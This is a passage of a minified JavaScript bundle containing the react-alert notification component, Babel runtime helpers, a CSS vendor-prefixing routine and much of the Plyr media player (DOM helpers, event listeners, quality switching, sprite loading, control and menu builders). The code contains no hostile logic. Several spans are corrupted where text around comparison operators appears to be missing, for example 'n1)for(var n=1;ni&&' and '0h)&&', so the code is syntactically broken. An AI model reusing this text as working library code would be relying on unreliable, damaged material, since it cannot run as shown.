P.BOTTOM_RIGHT:return C({},t,{bottom:0,alignItems:"flex-end"});default:return t}}(a)}),[a]);return t.length>0&&r.a.createElement("div",S({style:C({},l,{},o)},s),t)},N=(E(A={},M.FADE,{transition:"opacity ".concat(250,"ms ease"),opacity:0}),E(A,M.SCALE,{transform:"scale(1)",transition:"all ".concat(250,"ms ease-in-out")}),A),j=(E(R={},M.FADE,{entering:{opacity:0},entered:{opacity:1}}),E(R,M.SCALE,{entering:{transform:"scale(0)"},entered:{transform:"scale(1)"},exiting:{transform:"scale(0)"},exited:{transform:"scale(1)"}}),R),B=function(e){var t=e.children,n=e.type,a=x(e,["children","type"]),o=Object(i.useRef)(null);return r.a.createElement(m,S({nodeRef:o},a,{timeout:250}),(function(e){return r.a.createElement("div",{ref:o,style:C({},N[n],{},j[n][e])},t)}))},U=function(e){var t=e.children,n=e.offset,a=e.position,o=e.timeout,s=e.type,l=e.transition,c=e.containerStyle,d=e.template,f=e.context,h=x(e,["children","offset","position","timeout","type","transition","containerStyle","template","context"]),p=Object(i.useRef)(null),m=Object(i.useRef)(null),g=Object(i.useRef)([]),v=O(Object(i.useState)([]),2),y=v[0],b=v[1];Object(i.useEffect)((function(){p.current=document.createElement("div"),p.current.id="__react-alert__",document.body.appendChild(p.current);var e=g.current;return function(){e.forEach(clearTimeout),p.current&&document.body.removeChild(p.current)}}),[]);var _=Object(i.useCallback)((function(e){b((function(t){var n=t.length,i=t.filter((function(t){return t.id!==e.id}));return n>i.length&&e.options.onClose&&e.options.onClose(),i}))}),[]),k=Object(i.useCallback)((function(){m.current.alerts.forEach(_)}),[_]),E=Object(i.useCallback)((function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=Math.random().toString(36).substr(2,9),i=C({position:t.position||a,timeout:o,type:s},t),r={id:n,message:e,options:i,close:function(){return _(r)}};if(r.options.timeout){var l=setTimeout((function(){_(r),g.current.splice(g.current.indexOf(l),1)}),r.options.timeout);g.current.push(l)}return b((function(e){return e.concat(r)})),r.options.onOpen&&r.options.onOpen(),r}),[a,_,o,s]),T=Object(i.useCallback)((function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return t.type=I.SUCCESS,E(e,t)}),[E]),A=Object(i.useCallback)((function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return t.type=I.ERROR,E(e,t)}),[E]),R=Object(i.useCallback)((function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return t.type=I.INFO,E(e,t)}),[E]);m.current={alerts:y,show:E,remove:_,removeAll:k,success:T,error:A,info:R};var L,M=(L=function(e){return e.options.position},y.reduce((function(e,t){var n=L(t);return e[n]||(e[n]=[]),e[n].push(t),e}),{}));return r.a.createElement(f.Provider,{value:m},t,p.current&&Object(u.createPortal)(r.a.createElement(i.Fragment,null,Object.keys(P).map((function(e){var t=P[e];return r.a.createElement(w,S({appear:!0,key:t,options:{position:t,containerStyle:c},component:D},h),M[t]?M[t].map((function(e){return r.a.createElement(B,{type:l,key:e.id},r.a.createElement(d,S({style:{margin:n,pointerEvents:"all"}},e)))})):null)}))),p.current))};U.propTypes={offset:o.a.string,position:o.a.oneOf(Object.keys(P).map((function(e){return P[e]}))),timeout:o.a.number,type:o.a.oneOf(Object.keys(I).map((function(e){return I[e]}))),transition:o.a.oneOf(Object.keys(M).map((function(e){return M[e]}))),containerStyle:o.a.object,template:o.a.oneOfType([o.a.element,o.a.func,o.a.elementType]).isRequired,context:o.a.shape({Provider:o.a.object,Consumer:o.a.object})},U.defaultProps={offset:"10px",position:P.TOP_CENTER,timeout:0,type:I.INFO,transition:M.FADE,containerStyle:{zIndex:100},context:L};var F=function(e){var t=Object(i.useContext)(e||L);return Object(i.useMemo)((function(){return t.current}),[t])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var i=n(22);var r=n(18);function a(e){return function(e){if(Array.isArray(e))return Object(i.a)(e)}(e)||function(e){if("undefined"!==typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||Object(r.a)(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}},function(e,t,n){"use strict";function i(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,i=new Array(t);n1)for(var n=1;ni&&(i=(t=t.trim()).charCodeAt(0)),i){case 38:return t.replace(m,"$1"+e.trim());case 58:return e.trim()+t.replace(m,"$1"+e.trim());default:if(0<1*n&&0l.charCodeAt(8))break;case 115:o=o.replace(l,"-webkit-"+l)+";"+o;break;case 207:case 102:o=o.replace(l,"-webkit-"+(102s.charCodeAt(0)&&(s=s.trim()),s=[s],0h)&&(U=(V=V.replace(" ",":")).length),0=e.length?{done:!0}:{done:!1,value:e[t++]}},e:function(e){throw e},f:n}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var r,a,o=!0,s=!1;return{s:function(){r=e[Symbol.iterator]()},n:function(){var e=r.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==r.return||r.return()}finally{if(s)throw a}}}}},function(e,t,n){e.exports=n.p+"static/media/plyr.3a727a9b.svg"},function(e,t,n){(function(t){"object"==typeof navigator&&(e.exports=function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;ne.length)&&(t=e.length);for(var n=0,i=new Array(t);n(n=100/l.width*(r.clientX-l.left))?n=0:100n?n-=(100-2*n)*u:50t){var n=function(e){var t="".concat(e).match(/(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/);return t?Math.max(0,(t[1]?t[1].length:0)-(t[2]?+t[2]:0)):0}(t);return parseFloat(e.toFixed(n))}return Math.round(e/t)*t}(n/100*(o-a),s)}},{key:"set",value:function(t){e.enabled&&A(t)&&!t.target.disabled&&(t.preventDefault(),t.target.value=this.get(t),function(e,t){if(e&&t){var n=new Event(t,{bubbles:!0});e.dispatchEvent(n)}}(t.target,"touchend"===t.type?"change":"input"))}}],[{key:"setup",value:function(t){var n=10&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length,n=new Array(t>1?t-1:0),i=1;i0?t.cloneNode(!0):t,r=e.parentNode,a=e.nextSibling;i.appendChild(e),a?r.insertBefore(i,a):r.appendChild(i)}))}function se(e,t){Y(e)&&!ee(t)&&Object.entries(t).filter((function(e){var t=s(e,2)[1];return!z(t)})).forEach((function(t){var n=s(t,2),i=n[0],r=n[1];return e.setAttribute(i,r)}))}function le(e,t,n){var i=document.createElement(e);return V(t)&&se(i,t),W(n)&&(i.innerText=n),i}function ue(e,t,n,i){Y(t)&&t.appendChild(le(e,n,i))}function ce(e){$(e)||K(e)?Array.from(e).forEach(ce):Y(e)&&Y(e.parentNode)&&e.parentNode.removeChild(e)}function de(e){if(Y(e))for(var t=e.childNodes.length;t>0;)e.removeChild(e.lastChild),t-=1}function fe(e,t){return Y(t)&&Y(t.parentNode)&&Y(e)?(t.parentNode.replaceChild(e,t),e):null}function he(e,t){if(!W(e)||ee(e))return{};var n={},i=ae({},t);return e.split(",").forEach((function(e){var t=e.trim(),r=t.replace(".",""),a=t.replace(/[[\]]/g,"").split("="),o=s(a,1)[0],l=a.length>1?a[1].replace(/["']/g,""):"";switch(t.charAt(0)){case".":W(i.class)?n.class="".concat(i.class," ").concat(r):n.class=r;break;case"#":n.id=t.replace("#","");break;case"[":n[o]=l}})),ae(i,n)}function pe(e,t){if(Y(e)){var n=t;G(n)||(n=!e.hidden),e.hidden=n}}function me(e,t,n){if($(e))return Array.from(e).map((function(e){return me(e,t,n)}));if(Y(e)){var i="toggle";return void 0!==n&&(i=n?"add":"remove"),e.classList[i](t),e.classList.contains(t)}return!1}function ge(e,t){return Y(e)&&e.classList.contains(t)}function ve(e,t){var n=Element.prototype;return(n.matches||n.webkitMatchesSelector||n.mozMatchesSelector||n.msMatchesSelector||function(){return Array.from(document.querySelectorAll(t)).includes(this)}).call(e,t)}function ye(e){return this.elements.container.querySelectorAll(e)}function be(e){return this.elements.container.querySelector(e)}function _e(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];Y(e)&&(e.focus({preventScroll:!0}),t&&me(e,this.config.classNames.tabFocus))}var ke,we={"audio/ogg":"vorbis","audio/wav":"1","video/webm":"vp8, vorbis","video/mp4":"avc1.42E01E, mp4a.40.2","video/ogg":"theora"},Ee={audio:"canPlayType"in document.createElement("audio"),video:"canPlayType"in document.createElement("video"),check:function(e,t,n){var i=ie.isIPhone&&n&&Ee.playsinline,r=Ee[e]||"html5"!==t;return{api:r,ui:r&&Ee.rangeInput&&("video"!==e||!ie.isIPhone||i)}},pip:!(ie.isIPhone||!q(le("video").webkitSetPresentationMode)&&(!document.pictureInPictureEnabled||le("video").disablePictureInPicture)),airplay:q(window.WebKitPlaybackTargetAvailabilityEvent),playsinline:"playsInline"in document.createElement("video"),mime:function(e){if(ee(e))return!1;var t=s(e.split("/"),1)[0],n=e;if(!this.isHTML5||t!==this.type)return!1;Object.keys(we).includes(n)&&(n+='; codecs="'.concat(we[e],'"'));try{return Boolean(n&&this.media.canPlayType(n).replace(/no/,""))}catch(e){return!1}},textTracks:"textTracks"in document.createElement("video"),rangeInput:(ke=document.createElement("input"),ke.type="range","range"===ke.type),touch:"ontouchstart"in document.documentElement,transitions:!1!==te,reducedMotion:"matchMedia"in window&&window.matchMedia("(prefers-reduced-motion)").matches},Se=function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){return e=!0,null}});window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}return e}();function Te(e,t,n){var i=this,r=arguments.length>3&&void 0!==arguments[3]&&arguments[3],a=!(arguments.length>4&&void 0!==arguments[4])||arguments[4],o=arguments.length>5&&void 0!==arguments[5]&&arguments[5];if(e&&"addEventListener"in e&&!ee(t)&&q(n)){var s=t.split(" "),l=o;Se&&(l={passive:a,capture:o}),s.forEach((function(t){i&&i.eventListeners&&r&&i.eventListeners.push({element:e,type:t,callback:n,options:l}),e[r?"addEventListener":"removeEventListener"](t,n,l)}))}}function Ce(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,i=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],r=arguments.length>4&&void 0!==arguments[4]&&arguments[4];Te.call(this,e,t,n,!0,i,r)}function xe(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,i=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],r=arguments.length>4&&void 0!==arguments[4]&&arguments[4];Te.call(this,e,t,n,!1,i,r)}function Oe(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",i=arguments.length>2?arguments[2]:void 0,r=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],a=arguments.length>4&&void 0!==arguments[4]&&arguments[4],o=function o(){xe(e,n,o,r,a);for(var s=arguments.length,l=new Array(s),u=0;u1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};if(Y(e)&&!ee(t)){var r=new CustomEvent(t,{bubbles:n,detail:o(o({},i),{},{plyr:this})});e.dispatchEvent(r)}}function Re(){this&&this.eventListeners&&(this.eventListeners.forEach((function(e){var t=e.element,n=e.type,i=e.callback,r=e.options;t.removeEventListener(n,i,r)})),this.eventListeners=[])}function Le(){var e=this;return new Promise((function(t){return e.ready?setTimeout(t,0):Ce.call(e,e.elements.container,"ready",t)})).then((function(){}))}function Pe(e){(function(e){return I(e,Promise)&&j(e.then)})(e)&&e.then(null,(function(){}))}function Ie(e){return!!(K(e)||W(e)&&e.includes(":"))&&(K(e)?e:e.split(":")).map(Number).every(H)}function Me(e){if(!K(e)||!e.every(H))return null;var t=s(e,2),n=t[0],i=t[1],r=function e(t,n){return 0===n?t:e(n,t%n)}(n,i);return[n/r,i/r]}function De(e){var t=function(e){return Ie(e)?e.split(":").map(Number):null},n=t(e);if(null===n&&(n=t(this.config.ratio)),null===n&&!ee(this.embed)&&K(this.embed.ratio)&&(n=this.embed.ratio),null===n&&this.isHTML5){var i=this.media;n=Me([i.videoWidth,i.videoHeight])}return n}function Ne(e){if(!this.isVideo)return{};var t=this.elements.wrapper,n=De.call(this,e),i=s(K(n)?n:[0,0],2),r=100/i[0]*i[1];if(t.style.paddingBottom="".concat(r,"%"),this.isVimeo&&!this.config.vimeo.premium&&this.supported.ui){var a=100/this.media.offsetWidth*parseInt(window.getComputedStyle(this.media).paddingBottom,10),o=(a-r)/(a/50);this.fullscreen.active?t.style.paddingBottom=null:this.media.style.transform="translateY(-".concat(o,"%)")}else this.isHTML5&&t.classList.toggle(this.config.classNames.videoFixedRatio,null!==n);return{padding:r,ratio:n}}var je={getSources:function(){var e=this;return this.isHTML5?Array.from(this.media.querySelectorAll("source")).filter((function(t){var n=t.getAttribute("type");return!!ee(n)||Ee.mime.call(e,n)})):[]},getQualityOptions:function(){return this.config.quality.forced?this.config.quality.options:je.getSources.call(this).map((function(e){return Number(e.getAttribute("size"))})).filter(Boolean)},setup:function(){if(this.isHTML5){var e=this;e.options.speed=e.config.speed.options,ee(this.config.ratio)||Ne.call(e),Object.defineProperty(e.media,"quality",{get:function(){var t=je.getSources.call(e).find((function(t){return t.getAttribute("src")===e.source}));return t&&Number(t.getAttribute("size"))},set:function(t){if(e.quality!==t){if(e.config.quality.forced&&q(e.config.quality.onChange))e.config.quality.onChange(t);else{var n=je.getSources.call(e).find((function(e){return Number(e.getAttribute("size"))===t}));if(!n)return;var i=e.media,r=i.currentTime,a=i.paused,o=i.preload,s=i.readyState,l=i.playbackRate;e.media.src=n.getAttribute("src"),("none"!==o||s)&&(e.once("loadedmetadata",(function(){e.speed=l,e.currentTime=r,a||Pe(e.play())})),e.media.load())}Ae.call(e,e.media,"qualitychange",!1,{quality:t})}}})}},cancelRequests:function(){this.isHTML5&&(ce(je.getSources.call(this)),this.media.setAttribute("src",this.config.blankVideo),this.media.load(),this.debug.log("Cancelled network requests"))}};function Be(e){return K(e)?e.filter((function(t,n){return e.indexOf(t)===n})):e}function Ue(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";return e.replace(new RegExp(t.toString().replace(/([.*+?^=!:${}()|[\]/\\])/g,"\\$1"),"g"),n.toString())},ze=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return e.toString().replace(/\w\S*/g,(function(e){return e.charAt(0).toUpperCase()+e.substr(1).toLowerCase()}))};function Ve(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=e.toString();return t=Fe(t,"-"," "),t=Fe(t,"_"," "),t=ze(t),Fe(t," ","")}function He(e){var t=document.createElement("div");return t.appendChild(e),t.innerHTML}var We={pip:"PIP",airplay:"AirPlay",html5:"HTML5",vimeo:"Vimeo",youtube:"YouTube"},Ge=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(ee(e)||ee(t))return"";var n=re(t.i18n,e);if(ee(n))return Object.keys(We).includes(e)?We[e]:"";var i={"{seektime}":t.seekTime,"{title}":t.title};return Object.entries(i).forEach((function(e){var t=s(e,2),i=t[0],r=t[1];n=Fe(n,i,r)})),n},qe=function(){function t(n){e(this,t),this.enabled=n.config.storage.enabled,this.key=n.config.storage.key}return i(t,[{key:"get",value:function(e){if(!t.supported||!this.enabled)return null;var n=window.localStorage.getItem(this.key);if(ee(n))return null;var i=JSON.parse(n);return W(e)&&e.length?i[e]:i}},{key:"set",value:function(e){if(t.supported&&this.enabled&&V(e)){var n=this.get();ee(n)&&(n={}),ae(n,e),window.localStorage.setItem(this.key,JSON.stringify(n))}}}],[{key:"supported",get:function(){try{if(!("localStorage"in window))return!1;var e="___test";return window.localStorage.setItem(e,e),window.localStorage.removeItem(e),!0}catch(e){return!1}}}]),t}();function Ke(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"text";return new Promise((function(n,i){try{var r=new XMLHttpRequest;if(!("withCredentials"in r))return;r.addEventListener("load",(function(){if("text"===t)try{n(JSON.parse(r.responseText))}catch(e){n(r.responseText)}else n(r.response)})),r.addEventListener("error",(function(){throw new Error(r.status)})),r.open("GET",e,!0),r.responseType=t,r.send()}catch(e){i(e)}}))}function $e(e,t){if(W(e)){var n="cache",i=W(t),r=function(){return null!==document.getElementById(t)},a=function(e,t){e.innerHTML=t,i&&r()||document.body.insertAdjacentElement("afterbegin",e)};if(!i||!r()){var o=qe.supported,s=document.createElement("div");if(s.setAttribute("hidden",""),i&&s.setAttribute("id",t),o){var l=window.localStorage.getItem("".concat(n,"-").concat(t));if(null!==l){var u=JSON.parse(l);a(s,u.content)}}Ke(e).then((function(e){ee(e)||(o&&window.localStorage.setItem("".concat(n,"-").concat(t),JSON.stringify({content:e})),a(s,e))})).catch((function(){}))}}}var Ye=function(e){return Math.trunc(e/60/60%60,10)},Qe=function(e){return Math.trunc(e/60%60,10)},Xe=function(e){return Math.trunc(e%60,10)};function Je(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(!H(e))return Je(void 0,t,n);var i=function(e){return"0".concat(e).slice(-2)},r=Ye(e),a=Qe(e),o=Xe(e);return r=t||r>0?"".concat(r,":"):"","".concat(n&&e>0?"-":"").concat(r).concat(i(a),":").concat(i(o))}var Ze={getIconUrl:function(){var e=new URL(this.config.iconUrl,window.location).host!==window.location.host||ie.isIE&&!window.svg4everybody;return{url:this.config.iconUrl,cors:e}},findElements:function(){try{return this.elements.controls=be.call(this,this.config.selectors.controls.wrapper),this.elements.buttons={play:ye.call(this,this.config.selectors.buttons.play),pause:be.call(this,this.config.selectors.buttons.pause),restart:be.call(this,this.config.selectors.buttons.restart),rewind:be.call(this,this.config.selectors.buttons.rewind),fastForward:be.call(this,this.config.selectors.buttons.fastForward),mute:be.call(this,this.config.selectors.buttons.mute),pip:be.call(this,this.config.selectors.buttons.pip),airplay:be.call(this,this.config.selectors.buttons.airplay),settings:be.call(this,this.config.selectors.buttons.settings),captions:be.call(this,this.config.selectors.buttons.captions),fullscreen:be.call(this,this.config.selectors.buttons.fullscreen)},this.elements.progress=be.call(this,this.config.selectors.progress),this.elements.inputs={seek:be.call(this,this.config.selectors.inputs.seek),volume:be.call(this,this.config.selectors.inputs.volume)},this.elements.display={buffer:be.call(this,this.config.selectors.display.buffer),currentTime:be.call(this,this.config.selectors.display.currentTime),duration:be.call(this,this.config.selectors.display.duration)},Y(this.elements.progress)&&(this.elements.display.seekTooltip=this.elements.progress.querySelector(".".concat(this.config.classNames.tooltip))),!0}catch(e){return this.debug.warn("It looks like there is a problem with your custom controls HTML",e),this.toggleNativeControls(!0),!1}},createIcon:function(e,t){var n="http://www.w3.org/2000/svg",i=Ze.getIconUrl.call(this),r="".concat(i.cors?"":i.url,"#").concat(this.config.iconPrefix),a=document.createElementNS(n,"svg");se(a,ae(t,{"aria-hidden":"true",focusable:"false"}));var o=document.createElementNS(n,"use"),s="".concat(r,"-").concat(e);return"href"in o&&o.setAttributeNS("http://www.w3.org/1999/xlink","href",s),o.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",s),a.appendChild(o),a},createLabel:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=Ge(e,this.config),i=o(o({},t),{},{class:[t.class,this.config.classNames.hidden].filter(Boolean).join(" ")});return le("span",i,n)},createBadge:function(e){if(ee(e))return null;var t=le("span",{class:this.config.classNames.menu.value});return t.appendChild(le("span",{class:this.config.classNames.menu.badge},e)),t},createButton:function(e,t){var n=this,i=ae({},t),r=function(){var e=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").toString();return(e=Ve(e)).charAt(0).toLowerCase()+e.slice(1)}(e),a={element:"button",toggle:!1,label:null,icon:null,labelPressed:null,iconPressed:null};switch(["element","icon","label"].forEach((function(e){Object.keys(i).includes(e)&&(a[e]=i[e],delete i[e])})),"button"!==a.element||Object.keys(i).includes("type")||(i.type="button"),Object.keys(i).includes("class")?i.class.split(" ").some((function(e){return e===n.config.classNames.control}))||ae(i,{class:"".concat(i.class," ").concat(this.config.classNames.control)}):i.class=this.config.classNames.control,e){case"play":a.toggle=!0,a.label="play",a.labelPressed="pause",a.icon="play",a.iconPressed="pause";break;case"mute":a.toggle=!0,a.label="mute",a.labelPressed="unmute",a.icon="volume",a.iconPressed="muted";break;case"captions":a.toggle=!0,a.label="enableCaptions",a.labelPressed="disableCaptions",a.icon="captions-off",a.iconPressed="captions-on";break;case"fullscreen":a.toggle=!0,a.label="enterFullscreen",a.labelPressed="exitFullscreen",a.icon="enter-fullscreen",a.iconPressed="exit-fullscreen";break;case"play-large":i.class+=" ".concat(this.config.classNames.control,"--overlaid"),r="play",a.label="play",a.icon="play";break;default:ee(a.label)&&(a.label=r),ee(a.icon)&&(a.icon=e)}var o=le(a.element);return a.toggle?(o.appendChild(Ze.createIcon.call(this,a.iconPressed,{class:"icon--pressed"})),o.appendChild(Ze.createIcon.call(this,a.icon,{class:"icon--not-pressed"})),o.appendChild(Ze.createLabel.call(this,a.labelPressed,{class:"label--pressed"})),o.appendChild(Ze.createLabel.call(this,a.label,{class:"label--not-pressed"}))):(o.appendChild(Ze.createIcon.call(this,a.icon)),o.appendChild(Ze.createLabel.call(this,a.label))),ae(i,he(this.config.selectors.buttons[r],i)),se(o,i),"play"===r?(K(this.elements.buttons[r])||(this.elements.buttons[r]=[]),this.elements.buttons[r].push(o)):this.elements.buttons[r]=o,o},createRange:function(e,t){var n=le("input",ae(he(this.config.selectors.inputs[e]),{type:"range",min:0,max:100,step:.01,value:0,autocomplete:"off",role:"slider","aria-label":Ge(e,this.config),"aria-valuemin":0,"aria-valuemax":100,"aria-valuenow":0},t));return this.elements.inputs[e]=n,Ze.updateRangeFill.call(this,n),L.setup(n),n},createProgress:function(e,t){var n=le("progress",ae(he(this.config.selectors.display[e]),{min:0,max:100,value:0,role:"progressbar","aria-hidden":!0},t));if("volume"!==e){n.appendChild(le("span",null,"0"));var i={played:"played",buffer:"buffered"}[e],r=i?Ge(i,this.config):"";n.innerText="% ".concat(r.toLowerCase())}return this.elements.display[e]=n,n},createTime:function(e,t){var n=he(this.config.selectors.display[e],t),i=le("div",ae(n,{class:"".concat(n.class?n.class:""," ").concat(this.config.classNames.display.time," ").trim(),"aria-label":Ge(e,this.config)}),"00:00");return this.elements.display[e]=i,i},bindMenuItemShortcuts:function(e,t){var n=this;Ce.call(this,e,"keydown keyup",(function(i){if([32,38,39,40].includes(i.which)&&(i.preventDefault(),i.stopPropagation(),"keydown"!==i.type)){var r,a=ve(e,'[role="menuitemradio"]');!a&&[32,39].includes(i.which)?Ze.showMenuPanel.call(n,t,!0):32!==i.which&&(40===i.which||a&&39===i.which?(r=e.nextElementSibling,Y(r)||(r=e.parentNode.firstElementChild)):(r=e.previousElementSibling,Y(r)||(r=e.parentNode.lastElementChild)),_e.call(n,r,!0))}}),!1),Ce.call(this,e,"keyup",(function(e){13===e.which&&Ze.focusFirstMenuItem.call(n,null,!0)}))},createMenuItem:function(e){var t=this,n=e.value,i=e.list,r=e.type,a=e.title,o=e.badge,s=void 0===o?null:o,l=e.checked,u=void 0!==l&&l,c=he(this.config.selectors.inputs[r]),d=le("button",ae(c,{type:"button",role:"menuitemradio",class:"".concat(this.config.classNames.control," ").concat(c.class?c.class:"").trim(),"aria-checked":u,value:n})),f=le("span");f.innerHTML=a,Y(s)&&f.appendChild(s),d.appendChild(f),Object.defineProperty(d,"checked",{enumerable:!0,get:function(){return"true"===d.getAttribute("aria-checked")},set:function(e){e&&Array.from(d.parentNode.children).filter((function(e){return ve(e,'[role="menuitemradio"]')})).forEach((function(e){return e.setAttribute("aria-checked","false")})),d.setAttribute("aria-checked",e?"true":"false")}}),this.listeners.bind(d,"click keyup",(function(e){if(!X(e)||32===e.which){switch(e.preventDefault(),e.stopPropagation(),d.checked=!0,r){case"language":t.currentTrack=Number(n);break;case"quality":t.quality=n;break;case"speed":t.speed=parseFloat(n)}Ze.showMenuPanel.call(t,"home",X(e))}}),r,!1),Ze.bindMenuItemShortcuts.call(this,d,r),i.appendChild(d)},formatTime:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!H(e))return e;var n=Ye(this.duration)>0;return Je(e,n,t)},updateTimeDisplay:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];Y(e)&&H(t)&&(e.innerText=Ze.formatTime(t,n))},updateVolume:function(){this.supported.ui&&(Y(this.elements.inputs.volume)&&Ze.setRange.call(this,this.elements.inputs.volume,this.muted?0:this.volume),Y(this.elements.buttons.mute)&&(this.elements.buttons.mute.pressed=this.muted||0===this.volume))},setRange:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;Y(e)&&(e.value=t,Ze.updateRangeFill.call(this,e))},updateProgress:function(e){var t=this;if(this.supported.ui&&Q(e)){var n,i,r=0;if(e)switch(e.type){case"timeupdate":case"seeking":case"seeked":n=this.currentTime,i=this.duration,r=0===n||0===i||Number.isNaN(n)||Number.isNaN(i)?0:(n/i*100).toFixed(2),"timeupdate"===e.type&&Ze.setRange.call(this,this.elements.inputs.seek,r);break;case"playing":case"progress":!function(e,n){var i=H(n)?n:0,r=Y(e)?e:t.elements.display.buffer;if(Y(r)){r.value=i;var a=r.getElementsByTagName("span")[0];Y(a)&&(a.childNodes[0].nodeValue=i)}}(this.elements.display.buffer,100*this.buffered)}}},updateRangeFill:function(e){var t=Q(e)?e.target:e;if(Y(t)&&"range"===t.getAttribute("type")){if(ve(t,this.config.selectors.inputs.seek)){t.setAttribute("aria-valuenow",this.currentTime);var n=Ze.formatTime(this.currentTime),i=Ze.formatTime(this.duration),r=Ge("seekLabel",this.config);t.setAttribute("aria-valuetext",r.replace("{currentTime}",n).replace("{duration}",i))}else if(ve(t,this.config.selectors.inputs.volume)){var a=100*t.value;t.setAttribute("aria-valuenow",a),t.setAttribute("aria-valuetext","".concat(a.toFixed(1),"%"))}else t.setAttribute("aria-valuenow",t.value);ie.isWebkit&&t.style.setProperty("--value","".concat(t.value/t.max*100,"%"))}},updateSeekTooltip:function(e){var t=this;if(this.config.tooltips.seek&&Y(this.elements.inputs.seek)&&Y(this.elements.display.seekTooltip)&&0!==this.duration){var n="".concat(this.config.classNames.tooltip,"--visible"),i=function(e){return me(t.elements.display.seekTooltip,n,e)};if(this.touch)i(!1);else{var r=0,a=this.elements.progress.getBoundingClientRect();if(Q(e))r=100/a.width*(e.pageX-a.left);else{if(!ge(this.elements.display.seekTooltip,n))return;r=parseFloat(this.elements.display.seekTooltip.style.left,10)}r<0?r=0:r>100&&(r=100),Ze.updateTimeDisplay.call(this,this.elements.display.seekTooltip,this.duration/100*r),this.elements.display.seekTooltip.style.left="".concat(r,"%"),Q(e)&&["mouseenter","mouseleave"].includes(e.type)&&i("mouseenter"===e.type)}}},timeUpdate:function(e){var t=!Y(this.elements.display.duration)&&this.config.invertTime;Ze.updateTimeDisplay.call(this,this.elements.display.currentTime,t?this.duration-this.currentTime:this.currentTime,t),e&&"timeupdate"===e.type&&this.media.seeking||Ze.updateProgress.call(this,e)},durationUpdate:function(){if(this.supported.ui&&(this.config.invertTime||!this.currentTime)){if(this.duration>=Math.pow(2,32))return pe(this.elements.display.currentTime,!0),void pe(this.elements.progress,!0);Y(this.elements.inputs.seek)&&this.elements.inputs.seek.setAttribute("aria-valuemax",this.duration);var e=Y(this.elements.display.duration);!e&&this.config.displayDuration&&this.paused&&Ze.updateTimeDisplay.call(this,this.elements.display.currentTime,this.duration),e&&Ze.updateTimeDisplay.call(this,this.elements.display.duration,this.duration),Ze.updateSeekTooltip.call(this)}},toggleMenuButton:function(e,t){pe(this.elements.settings.buttons[e],!t)},updateSetting:function(e,t,n){var i=this.elements.settings.panels[e],r=null,a=t;if("captions"===e)r=this.currentTrack;else{if(r=ee(n)?this[e]:n,ee(r)&&(r=this.config[e].default),!ee(this.options[e])&&!this.options[e].includes(r))return void this.debug.warn("Unsupported value of '".concat(r,"' for ").concat(e));if(!this.config[e].options.includes(r))return void this.debug.warn("Disabled value of '".concat(r,"' for ").concat(e))}if(Y(a)||(a=i&&i.querySelector('[role="menu"]')),Y(a)){this.elements.settings.buttons[e].querySelector(".".concat(this.config.classNames.menu.value)).innerHTML=Ze.getLabel.call(this,e,r);var o=a&&a.querySelector('[value="'.concat(r,'"]'));Y(o)&&(o.checked=!0)}},getLabel:function(e,t){switch(e){case"speed":return 1===t?Ge("normal",this.config):"".concat(t,"×");case"quality":if(H(t)){var n=Ge("qualityLabel.".concat(t),this.config);return n.length?n:"".concat(t,"p")}return ze(t);case"captions":return nt.getLabel.call(this);default:return null}},setQualityMenu:function(e){var 